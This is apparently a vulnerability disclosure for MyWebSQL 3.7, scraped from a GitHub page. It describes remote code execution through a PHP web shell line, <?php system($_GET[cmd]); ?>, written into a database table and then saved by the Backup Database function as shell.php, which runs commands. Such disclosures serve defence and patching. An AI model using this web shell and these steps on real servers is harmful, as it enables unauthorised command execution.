Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

MyWebSQL ver 3.7 remote code execution (RCE) vulnerability Description


Testing Target

Summary

MyWebSQL version in 3.7 has remote code execution (RCE) vulnerability.

Description

MyWebSQL version in 3.7 has remote code execution (RCE) vulnerability after write a shell code in database and execute Backup Database function.

Concept

  1. Create a test table (code) and write a shell code in this table.
    Shell code example: <?php system($_GET[cmd]); ?>
  2. Execute Backup Database function and modify Backup filename as shell.php.
  3. Browse (domain)/mywebsql/backups/shell.php?cmd=XXX. Here instance is cmd=ipconfig as below figure.